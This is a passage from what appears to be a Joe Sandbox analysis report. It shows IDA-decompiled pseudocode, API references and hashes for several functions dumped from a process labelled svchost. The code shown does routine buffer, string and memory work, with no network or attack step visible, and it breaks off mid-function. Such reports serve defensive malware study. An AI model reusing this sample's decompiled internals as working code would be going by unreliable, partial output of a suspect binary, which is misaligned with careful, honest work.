Instruction Fuzzy Hash: 01313CB1D01218ABEB14EFD5E944AEEBBB5EF4C308F104029F505B7280E7756944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 04005630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E04005630(intOrPtr __ecx, void* __eflags) {
				intOrPtr _v8;
				void* _t53;

				_v8 = __ecx;
				E04007010(_t53, _v8, 0, 0x14);
				 *((intOrPtr*)(_v8 + 0x34)) = 0x77777777;
				 *((intOrPtr*)(_v8 + 0x14)) =  *0x4250c0(0, 1, 0, 0, __ecx);
				 *((intOrPtr*)(_v8 + 0x1c)) = 0;
				E04007010(_t53, _v8 + 0x20, 0, 8);
				 *((intOrPtr*)(_v8 + 0x28)) = 0;
				 *((intOrPtr*)(_v8 + 0x2c)) = 0;
				 *((intOrPtr*)(_v8 + 0x30)) = 0;
				 *((intOrPtr*)(_v8 + 0x18)) = 0;
				E04007010(_t53, _v8 + 0x38, 0, 0x10);
				 *((intOrPtr*)(_v8 + 0x48)) = 0x10;
				 *((intOrPtr*)(_v8 + 0x4c)) = 0;
				 *((intOrPtr*)(_v8 + 0x50)) = 0;
				 *((intOrPtr*)(_v8 + 0x54)) = 0;
				 *((char*)(_v8 + 0x58)) = 0;
				return _v8;
			}

0x04005634
0x0400563f
0x0400564a
0x04005662
0x04005668
0x0400567a
0x04005685
0x0400568f
0x04005699
0x040056a3
0x040056b5
0x040056c0
0x040056ca
0x040056d4
0x040056de
0x040056e8
0x040056f2

APIs

_memset.LIBCMT ref: 0400563F
_memset.LIBCMT ref: 0400567A
_memset.LIBCMT ref: 040056B5

Strings

wwww, xrefs: 0400564A

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: wwww
API String ID: 2102423945-671953474
Opcode ID: 56981159b78f17c5b562ff2e7d8da521ae3d0b0f004ad004817d56aaae5714f0
Instruction ID: 7ac7e521c84300ad453423b6d132e18307e481511a592d402c42c44ac5e64213
Opcode Fuzzy Hash: 56981159b78f17c5b562ff2e7d8da521ae3d0b0f004ad004817d56aaae5714f0
Instruction Fuzzy Hash: 3E21B874A40208EBEB54CF94D995B9EB7B1BB48708F204588E9046F3C1D7B6AF45EBC4

Uniqueness

Uniqueness Score: -1.00%

Function 04020E40 Relevance: 6.2, APIs: 4, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E04020E40(void* __ebx, signed int __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				signed int _v12;
				intOrPtr _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				intOrPtr _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				signed int _v76;
				signed int _t114;
				intOrPtr _t119;
				intOrPtr _t122;
				intOrPtr _t126;
				signed int _t127;
				intOrPtr _t130;
				intOrPtr _t134;
				signed int _t153;
				void* _t155;
				signed int _t156;
				signed int _t169;
				signed int _t209;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t217;

				_t213 = __esi;
				_t212 = __edi;
				_t156 = __ecx;
				_t155 = __ebx;
				_v8 = 0;
				_v12 = 0;
				while(1) {
					_t114 = E04021D10(_t156,  *0x42a2a8);
					_t215 = _t214 + 4;
					_v20 = _t114;
					if((_v20 & 0x0000ffff) < 1 || (_v20 & 0x0000ffff) > 0x80c) {
						break;
					}
					_t119 = E04021D30(_t155, _t212, _t213, 0x42a2ac, _v20 & 0x0000ffff, 0x429fb0,  *0x429fac,  &_v12);
					_t215 = _t215 + 0x14;
					_v16 = _t119;
					__eflags = _v16 - 5;
					if(_v16 >= 5) {
						__eflags = _v12;
						if(_v12 != 0) {
							_t122 = E040223A0(_v12 + 4, _v16 - 4);
							_t215 = _t215 + 8;
							_v36 = _t122;
							__eflags = _v36 -  *_v12;
							if(_v36 ==  *_v12) {
								_t126 = E040070A0(_v12 + 0xc);
								_t215 = _t215 + 4;
								_v40 = _t126;
								__eflags = _v40 - 1;
								if(_v40 >= 1) {
									_v24 = _v40 + 0xd;
									__eflags = _v12 + _v24;
									_t127 = E040070A0(_v12 + _v24);
									_t215 = _t215 + 4;
									_v44 = _t127;
									_v32 = 0;
									while(1) {
										__eflags = _v44;
										if(_v44 <= 0) {
											break;
										}
										_v32 = _v32 + 1;
										_v24 = _v24 + _v44 + 1;
										_t153 = E040070A0(_v12 + _v24);
										_t215 = _t215 + 4;
										_v44 = _t153;
									}
									__eflags = _v32 - 1;
									if(__eflags >= 0) {
										_push( ~(0 | __eflags > 0x00000000) | _v32 * 0x00000004);
										_t130 = E0400708A();
										_t217 = _t215 + 4;
										_v60 = _t130;
										_v28 = _v60;
										_v24 = _v40 + 0xd;
										_v48 = 0;
										while(1) {
											__eflags = _v48 - _v32;
											if(_v48 >= _v32) {
												break;
											}
											_v44 = E040070A0(_v12 + _v24);
											_push(_v44 + 1);
											_v64 = E0400708A();
											_v52 = _v64;
											_push(_v44);
											E04006CA0(_t155, _t212, _t213, _v52, _v12 + _v24);
											_t217 = _t217 + 0x14;
											 *((char*)(_v52 + _v44)) = 0;
											 *((intOrPtr*)(_v28 + _v48 * 4)) = _v52;
											_v24 = _v24 + _v44 + 1;
											_t209 = _v48 + 1;
											__eflags = _t209;
											_v48 = _t209;
										}
										_v68 = E04020CE0(0x14);
										_v8 = _v68;
										_t134 = _v8;
										_t169 = _v12;
										 *((intOrPtr*)(_t134 + 0xc)) =  *((intOrPtr*)(_t169 + 4));
										 *((intOrPtr*)(_t134 + 0x10)) =  *((intOrPtr*)(_t169 + 8));
										_push(_v40 + 1);
										_v72 = E0400708A();
										 *_v8 = _v72;
										_push(_v40);
										E04006CA0(_t155, _t212, _t213,  *_v8, _v12 + 0xc);
										_t214 = _t217 + 0x14;
										 *((char*)( *_v8 + _v40)) = 0;
										 *((intOrPtr*)(_v8 + 4)) = _v28;
										 *(_v8 + 8) = _v32;
										_t156 = 0;
										__eflags = 0;
										if(0 != 0) {
											continue;
										}
									} else {
									}
								} else {
								}
							} else {
								__eflags = _v12;
								if(_v12 != 0) {
									_v56 = _v12;
									E04020CC0(_v56);
									_t215 = _t215 + 4;
									_v12 = 0x666;
								}
							}
						} else {
							goto L6;
						}
					}
					L23:
					if(_v12 != 0) {
						_v76 = _v12;
						E04020CC0(_v76);
						_v12 = 0x666;
					}
					return _v8;
				}
				goto L23;
			}

0x04020e40
0x04020e40
0x04020e40
0x04020e40
0x04020e46
0x04020e4d
0x04020e54
0x04020e5a
0x04020e5f
0x04020e62
0x04020e6d
0x00000000
0x00000000
0x04020e9a
0x04020e9f
0x04020ea2
0x04020ea5
0x04020ea9
0x04020eab
0x04020eaf
0x04020ec4
0x04020ec9
0x04020ecc
0x04020ed5
0x04020ed7
0x04020f04
0x04020f09
0x04020f0c
0x04020f0f
0x04020f13
0x04020f20
0x04020f26
0x04020f2a
0x04020f2f
0x04020f32
0x04020f35
0x04020f3c
0x04020f3c
0x04020f40
0x00000000
0x00000000
0x04020f48
0x04020f55
0x04020f5f
0x04020f64
0x04020f67
0x04020f67
0x04020f6c
0x04020f70
0x04020f8a
0x04020f8b
0x04020f90
0x04020f93
0x04020f99
0x04020fa2
0x04020fa5
0x04020fb7
0x04020fba
0x04020fbd
0x00000000
0x00000000
0x04020fce
0x04020fd7
0x04020fe0
0x04020fe6
0x04020fec
0x04020ff8
0x04020ffd
0x04021006
0x04021012
0x0402101f
0x04020fb1
0x04020fb1
0x04020fb4
0x04020fb4
0x0402102e
0x04021034
0x04021037
0x0402103a
0x04021040
0x04021046
0x0402104f
0x04021058
0x04021061
0x04021066
0x04021074
0x04021079
0x04021084
0x0402108e
0x04021097
0x0402109a
0x0402109a
0x0402109c
0x00000000
0x00000000
0x00000000
0x04020f72
0x00000000
0x04020f15
0x04020ed9
0x04020ed9
0x04020edd
0x04020ee2
0x04020ee9
0x04020eee
0x04020ef1
0x04020ef1
0x04020ef8
0x00000000
0x00000000
0x00000000
0x04020eaf
0x040210a2
0x040210a6
0x040210ab
0x040210b2
0x040210ba
0x040210ba
0x040210c7
0x040210c7
0x00000000

APIs

_strlen.LIBCMT ref: 04020F04
_strlen.LIBCMT ref: 04020F2A
_strlen.LIBCMT ref: 04020F5F
_strlen.LIBCMT ref: 04020FC6

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: cc552e2788ec19ea4224f0d46fe881bc41ece34d1291b5b1bd72de5b41e52a96
Instruction ID: 6b2d4ef1dc70f01762c9ea93bfd451974196985589b21f9b2b8d381f5f98cc15
Opcode Fuzzy Hash: cc552e2788ec19ea4224f0d46fe881bc41ece34d1291b5b1bd72de5b41e52a96
Instruction Fuzzy Hash: 7791D8B4E00219DFDF44DF98D580AEEBBB1BF48318F248169E505B7381E735AA41CB56

Uniqueness

Uniqueness Score: -1.00%

Function 04015C60 Relevance: 6.2, APIs: 4, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E04015C60(void* __ebx, intOrPtr __ecx, void* __edx, intOrPtr _a4) {
				char _v5;
				intOrPtr* _v12;
				intOrPtr* _v16;
				signed int _v20;
				void _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				void* __edi;
				void* __esi;
				void* _t107;
				intOrPtr _t115;
				signed char _t118;
				signed char _t124;
				void* _t126;
				void* _t161;
				signed int _t183;
				void* _t184;

				_t161 = __edx;
				_t126 = __ebx;
				_v20 =  *0x429024 ^ _t183;
				_v76 = __ecx;
				_v5 = 0;
				while(_a4 != 0) {
					_v12 = 0;
					_v5 = 1;
					do {
						_t162 = _a4;
						_v12 = E04013F50(_t126, _v76, 0x426eaa, 0x426e9c, _a4, 0, 0xffffffff, 0,  *(_v76 + 0x19) & 0x000000ff);
						if(_v12 != 0) {
							_v16 = E04015360(_t126, _v76, 0x426eaa, 0x426e9c, _v12);
							if(_v16 == 0) {
								if( *((intOrPtr*)(_v76 + 0xc)) == 0) {
									_t115 = E04020CE0(8);
									_t184 = _t184 + 4;
									_v64 = _t115;
									if(_v64 == 0) {
										_v84 = 0;
									} else {
										_v84 = E0401F4E0(_v64);
									}
									_t162 = _v84;
									 *((intOrPtr*)(_v76 + 0xc)) = _v84;
								}
								memcpy( &_v52, 0x426e9c, 7 << 2);
								asm("movsb");
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _t162,  &_v52, 0x1c, 0);
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v76, 0x426c50, 2, 0);
								_t107 = E040070A0( *_v12);
								_t184 = _t184 + 0x10;
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v12,  *_v12, _t107, 0);
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v76, 0x426c54, 2, 0);
								E0401F9F0(_t126,  *((intOrPtr*)(_v76 + 0xc)), _v76, 0x426ebc, 4, 0);
								 *(_v76 + 0x1a) = 1;
							} else {
								if( *_v16 == 0 ||  *((intOrPtr*)(_v16 + 4)) <= 0) {
									_t118 = E0401F7C0(_t126, _a4, 0x426eaa, 0x426e9c,  *((intOrPtr*)(_v12 + 0x28)),  *((intOrPtr*)(_v12 + 0x2c)));
									asm("sbb edx, edx");
									 *(_v76 + 0x1a) =  ~(_t118 & 0x000000ff) + 1;
								} else {
									_t124 = E0401F6B0(_t126, _a4, 0x426eaa, 0x426e9c,  *((intOrPtr*)(_v12 + 0x28)),  *((intOrPtr*)(_v12 + 0x2c)),  *_v16,  *((intOrPtr*)(_v16 + 4)));
									asm("sbb edx, edx");
									 *(_v76 + 0x1a) =  ~(_t124 & 0x000000ff) + 1;
								}
								if(_v16 != 0) {
									_v60 = _v16;
									_v56 = _v60;
									if(_v56 == 0) {
										_v80 = 0;
									} else {
										_v80 = E04004EA0(_v56, 1);
									}
									_v16 = 0x666;
								}
							}
							if(_v12 != 0) {
								_v72 = _v12;
								_v68 = _v72;
								if(_v68 == 0) {
									_v88 = 0;
								} else {
									_v88 = E04006780(_v68, 1);
								}
								_v12 = 0x666;
							}
						}
					} while (_v12 != 0 && ( *(_v76 + 0x1a) & 0x000000ff) == 0);
					asm("sbb ecx, ecx");
					_v5 =  ~( *(_v76 + 0x1a) & 0x000000ff) + 1;
					_t161 = 0;
					if(0 != 0) {
						continue;
					}
					L30:
					return E04006C8C(_v5, _t126, _v20 ^ _t183, _t161, 0x426eaa, 0x426e9c);
				}
				goto L30;
			}

0x04015c60
0x04015c60
0x04015c6d
0x04015c72
0x04015c75
0x04015c79
0x04015c84
0x04015c8b
0x04015c8f
0x04015c9d
0x04015ca9
0x04015cb0
0x04015cc2
0x04015cc9
0x04015d7c
0x04015d80
0x04015d85
0x04015d88
0x04015d8f
0x04015d9e
0x04015d91
0x04015d99
0x04015d99
0x04015da8
0x04015dab
0x04015dab
0x04015dbb
0x04015dbd
0x04015dcc
0x04015de0
0x04015ded
0x04015df2
0x04015e02
0x04015e16
0x04015e2a
0x04015e32
0x04015ccf
0x04015cd5
0x04015d26
0x04015d30
0x04015d38
0x04015ce0
0x04015cfe
0x04015d08
0x04015d10
0x04015d10
0x04015d3f
0x04015d44
0x04015d4a
0x04015d51
0x04015d62
0x04015d53
0x04015d5d
0x04015d5d
0x04015d69
0x04015d69
0x04015d70
0x04015e3a
0x04015e3f
0x04015e45
0x04015e4c
0x04015e5d
0x04015e4e
0x04015e58
0x04015e58
0x04015e64
0x04015e64
0x04015e3a
0x04015e6b
0x04015e89
0x04015e8e
0x04015e91
0x04015e93
0x00000000
0x00000000
0x04015e99
0x04015eab
0x04015eab
0x00000000

APIs

codecvt.LIBCPMTD ref: 04015D58
codecvt.LIBCPMTD ref: 04015E53

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 02833dcf54a586269b43c7a5692cfb048f7b9c5c918048c8dbaad8ebd72bbd88
Instruction ID: 8b2e742d592aba65153c7364a6cd7b1473e8eb5661a5a9f51c834e1a389ae5c1
Opcode Fuzzy Hash: 02833dcf54a586269b43c7a5692cfb048f7b9c5c918048c8dbaad8ebd72bbd88
Instruction Fuzzy Hash: 87811A74E04218EFEB58DF94D894BADBBB2AF88318F148159E4057F3A1C775B986CB40

Uniqueness

Uniqueness Score: -1.00%

Function 040126B0 Relevance: 6.1, APIs: 4, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E040126B0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr* _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				intOrPtr _v44;
				void* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr* _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _t59;
				intOrPtr _t69;
				intOrPtr _t70;
				void* _t72;
				void* _t79;
				void* _t101;
				void* _t102;
				signed int _t103;
				void* _t104;
				void* _t105;

				_t102 = __esi;
				_t101 = __edi;
				_t79 = __ebx;
				_v16 =  *0x429024 ^ _t103;
				_v72 = __ecx;
				_v8 = 0;
				do {
					_v40 =  *0x426f90;
					_v36 =  *0x426f94;
					_v32 =  *0x426f98;
					_v28 =  *0x426f9c;
					_v24 =  *0x426fa0;
					_v20 =  *0x426fa4;
					_t59 = E04020CE0(8);
					_t104 = _t104 + 4;
					_v52 = _t59;
					if(_v52 == 0) {
						_v76 = 0;
					} else {
						_v76 = E0401F4E0(_v52);
					}
					_v12 = _v76;
					E0401FC90(_t79, _v12, _t101, _t102,  &_v40, 0x14);
					_t99 = _v12;
					if((E04015C60(_t79, _v72, _v12, _v12) & 0x000000ff) != 0) {
						_v48 = 0;
						_t99 = _v12;
						_t69 = E0401BCB0(_t101, 3,  *_v12,  &_v48);
						_t104 = _t104 + 0xc;
						_v44 = _t69;
						if(_v44 > 0) {
							_t70 = E04020CE0(8);
							_t105 = _t104 + 4;
							_v56 = _t70;
							if(_v56 == 0) {
								_v80 = 0;
							} else {
								_v80 = E0401F4E0(_v56);
							}
							_v8 = _v80;
							_t72 = E040070A0( *((intOrPtr*)( *_v48 + 4)));
							_t104 = _t105 + 4;
							_t99 = _v48;
							E0401FC90(_t79, _v8, _t101, _t102,  *((intOrPtr*)( *_v48 + 4)), _t72);
							if(_v48 != 0) {
								_t99 = _v48;
								_v60 = _v48;
								E04020CC0(_v60);
								_t104 = _t104 + 4;
								_v48 = 0x666;
							}
						}
					}
					if(_v12 != 0) {
						_v68 = _v12;
						_t99 = _v68;
						_v64 = _v68;
						if(_v64 == 0) {
							_v84 = 0;
						} else {
							_v84 = E04004EA0(_v64, 1);
						}
						_v12 = 0x666;
					}
				} while (0 != 0);
				return E04006C8C(_v8, _t79, _v16 ^ _t103, _t99, _t101, _t102);
			}

0x040126b0
0x040126b0
0x040126b0
0x040126bd
0x040126c0
0x040126c3
0x040126ca
0x040126cf
0x040126d8
0x040126e1
0x040126e9
0x040126f2
0x040126fb
0x04012700
0x04012705
0x04012708
0x0401270f
0x0401271e
0x04012711
0x04012719
0x04012719
0x04012728
0x04012734
0x04012739
0x0401274a
0x04012750
0x0401275b
0x04012763
0x04012768
0x0401276b
0x04012772
0x04012776
0x0401277b
0x0401277e
0x04012785
0x04012794
0x04012787
0x0401278f
0x0401278f
0x0401279e
0x040127aa
0x040127af
0x040127b3
0x040127bf
0x040127c8
0x040127ca
0x040127cd
0x040127d4
0x040127d9
0x040127dc
0x040127dc
0x040127c8
0x04012772
0x040127e7
0x040127ec
0x040127ef
0x040127f2
0x040127f9
0x0401280a
0x040127fb
0x04012805
0x04012805
0x04012811
0x04012811
0x04012818
0x04012830

APIs

std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 04012714
std::_Iterator_base::_Iterator_base.LIBCPMTD ref: 0401278A
_strlen.LIBCMT ref: 040127AA
codecvt.LIBCPMTD ref: 04012800

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: Iterator_baseIterator_base::_std::_$_strlencodecvt
String ID:
API String ID: 4053968246-0
Opcode ID: 169dd0bcd0e1bc8557198bf3e789645acc63f33ee09107aa3db1908fa965f152
Instruction ID: af42a25bd155b3b5d7a86e069f6b5acb66482dcb96fdedbe39403f86dc1ab7a6
Opcode Fuzzy Hash: 169dd0bcd0e1bc8557198bf3e789645acc63f33ee09107aa3db1908fa965f152
Instruction Fuzzy Hash: 4951D6B4E01208AFEB14DFA4E984BEEBBB1BF48308F108169E815B73A0D7716945CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04014EC0 Relevance: 6.1, APIs: 4, Instructions: 79
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E04014EC0(intOrPtr __ecx) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _t55;
				intOrPtr _t56;

				_v40 = __ecx;
				if( *((intOrPtr*)(_v40 + 4)) != 0) {
					_v12 =  *((intOrPtr*)(_v40 + 4));
					_v8 = _v12;
					if(_v8 == 0) {
						_v44 = 0;
					} else {
						_v44 = E04006720(_v8, 1);
					}
					 *((intOrPtr*)(_v40 + 4)) = 0x666;
				}
				if( *((intOrPtr*)(_v40 + 8)) != 0) {
					_v20 =  *((intOrPtr*)(_v40 + 8));
					_v16 = _v20;
					if(_v16 == 0) {
						_v48 = 0;
					} else {
						_v48 = E04006750(_v16, 1);
					}
					 *((intOrPtr*)(_v40 + 8)) = 0x666;
				}
				if( *((intOrPtr*)(_v40 + 0xc)) != 0) {
					_v28 =  *((intOrPtr*)(_v40 + 0xc));
					_v24 = _v28;
					if(_v24 == 0) {
						_v52 = 0;
					} else {
						_v52 = E04004EA0(_v24, 1);
					}
					 *((intOrPtr*)(_v40 + 0xc)) = 0x666;
				}
				_t55 = _v40;
				if( *((intOrPtr*)(_t55 + 0x20)) != 0) {
					_v36 =  *((intOrPtr*)(_v40 + 0x20));
					_t56 = _v36;
					_v32 = _t56;
					if(_v32 == 0) {
						_v56 = 0;
					} else {
						_t56 = E04004EA0(_v32, 1);
						_v56 = _t56;
					}
					 *((intOrPtr*)(_v40 + 0x20)) = 0x666;
					return _t56;
				}
				return _t55;
			}

0x04014ec6
0x04014ed0
0x04014ed8
0x04014ede
0x04014ee5
0x04014ef6
0x04014ee7
0x04014ef1
0x04014ef1
0x04014f00
0x04014f00
0x04014f0e
0x04014f16
0x04014f1c
0x04014f23
0x04014f34
0x04014f25
0x04014f2f
0x04014f2f
0x04014f3e
0x04014f3e
0x04014f4c
0x04014f54
0x04014f5a
0x04014f61
0x04014f72
0x04014f63
0x04014f6d
0x04014f6d
0x04014f7c
0x04014f7c
0x04014f83
0x04014f8a
0x04014f92
0x04014f95
0x04014f98
0x04014f9f
0x04014fb0
0x04014fa1
0x04014fa6
0x04014fab
0x04014fab
0x04014fba
0x00000000
0x04014fba
0x04014fc4

APIs

codecvt.LIBCPMTD ref: 04014EEC
codecvt.LIBCPMTD ref: 04014F2A
codecvt.LIBCPMTD ref: 04014F68
codecvt.LIBCPMTD ref: 04014FA6

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 293eff8e08c402cabf5be0573675e725eacdbb13c63a1d46bf353841e3f01ce6
Instruction ID: 6fde489f6c5f844b1c7bf651d9850ea7eb6d4f342482ed0b4f1dd667ca52f8cd
Opcode Fuzzy Hash: 293eff8e08c402cabf5be0573675e725eacdbb13c63a1d46bf353841e3f01ce6
Instruction Fuzzy Hash: 7D416E74A00209DBDB04CF94D694BEEBBF2BB48308F248199D4057B3A1D776AE85DF90

Uniqueness

Uniqueness Score: -1.00%

Function 0400CBC9 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E0400CBC9(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x427b08);
				E04009CE8(__ebx, __edi, __esi);
				_t28 = E04009556(__ebx, __edx, __edi, _t30);
				if(( *(_t28 + 0x70) &  *0x429cb0) == 0) {
					L6:
					E0400B404(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x4294d8;
					 *((intOrPtr*)(_t29 - 0x1c)) = E0400CB8B(_t8,  *0x4294d8);
					 *(_t29 - 4) = 0xfffffffe;
					E0400CC33();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E04009556(__ebx, __edx, __edi, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E040099DE(_t25, _t26, 0x20);
				}
				return E04009D2D(_t28);
			}

0x0400cbc9
0x0400cbc9
0x0400cbc9
0x0400cbc9
0x0400cbc9
0x0400cbcb
0x0400cbd0
0x0400cbda
0x0400cbe4
0x0400cc08
0x0400cc0a
0x0400cc10
0x0400cc14
0x0400cc17
0x0400cc22
0x0400cc25
0x0400cc2c
0x0400cbe6
0x0400cbe6
0x0400cbea
0x00000000
0x0400cbec
0x0400cbf1
0x0400cbf1
0x0400cbea
0x0400cbf6
0x0400cbfa
0x0400cbff
0x0400cc07

APIs

__getptd.LIBCMT ref: 0400CBD5

Part of subcall function 04009556: __getptd_noexit.LIBCMT ref: 04009559
Part of subcall function 04009556: __amsg_exit.LIBCMT ref: 04009566

__getptd.LIBCMT ref: 0400CBEC
__amsg_exit.LIBCMT ref: 0400CBFA
__lock.LIBCMT ref: 0400CC0A

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 1f0354d96fabdbc1a2ba5b958ed8245a13b2cce1e2fe9863332c0abb1a1d4ff1
Instruction ID: 775b438eefefd3dc35736b17a6f12e75e8ac1b8e9e2c3c2db30c63f4ae9875e3
Opcode Fuzzy Hash: 1f0354d96fabdbc1a2ba5b958ed8245a13b2cce1e2fe9863332c0abb1a1d4ff1
Instruction Fuzzy Hash: 3EF06D71A19704CBF724BBA98801B8933E06B0072CF55C219C041BB2D1CB34B902CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0401F9F0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 212
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0401F9F0(void* __ebx, intOrPtr* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				void _v84;
				intOrPtr _v88;
				signed short _v90;
				signed short _v92;
				signed short _v94;
				signed short _v96;
				signed short _v98;
				signed short _v102;
				signed short _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr* _v140;
				void* __edi;
				void* __esi;
				void* _t149;
				void* _t180;
				signed int _t209;
				void* _t210;

				_t180 = __edx;
				_t149 = __ebx;
				_v28 =  *0x429024 ^ _t209;
				_v140 = __ecx;
				_v5 = 0;
				while(_a4 != 0 && _a8 >= 1) {
					_v16 = _a4;
					_v12 = _a8;
					if(_a12 != 0) {
						memcpy( &_v84, 0x427564, 0xd << 2);
						asm("movsw");
						asm("movsb");
						_v20 = 0x200;
						_v112 = E04020CE0(_v20 + 1);
						_v24 = _v112;
						E04007010(0x42757e, _v24, 0, _v20 + 1);
						 *0x4250e8( &_v104);
						 *0x4251f8(_v24, _v20 + 1,  &_v84, _v104 & 0x0000ffff, _v102 & 0x0000ffff, _v98 & 0x0000ffff, _v96 & 0x0000ffff, _v94 & 0x0000ffff, _v92 & 0x0000ffff, _v90 & 0x0000ffff, _a12);
						_v88 = E040070A0(_v24);
						_v116 = E04020CE0(_a8 + _v88);
						_v16 = _v116;
						_push(_v88);
						E04006CA0(_t149, 0x42757e, 0x427564, _v16, _v24);
						_push(_a8);
						E04006CA0(_t149, 0x42757e, 0x427564, _v16 + _v88, _a4);
						_t210 = _t210 + 0x68;
						_v12 = _a8 + _v88;
						if(_v24 != 0) {
							_v120 = _v24;
							E04020CC0(_v120);
							_t210 = _t210 + 4;
							_v24 = 0x666;
						}
					}
					if( *_v140 != 0) {
						_v128 = E04020CE0( *((intOrPtr*)(_v140 + 4)) + _v12);
						_v108 = _v128;
						_push( *((intOrPtr*)(_v140 + 4)));
						E04006CA0(_t149, 0x42757e, 0x427564, _v108,  *_v140);
						_push(_v12);
						E04006CA0(_t149, 0x42757e, 0x427564, _v108 +  *((intOrPtr*)(_v140 + 4)), _v16);
						_t210 = _t210 + 0x1c;
						if( *_v140 != 0) {
							_v132 =  *_v140;
							E04020CC0(_v132);
							_t210 = _t210 + 4;
							 *_v140 = 0x666;
						}
						 *_v140 = _v108;
						 *((intOrPtr*)(_v140 + 4)) =  *((intOrPtr*)(_v140 + 4)) + _v12;
						_v5 = 1;
					} else {
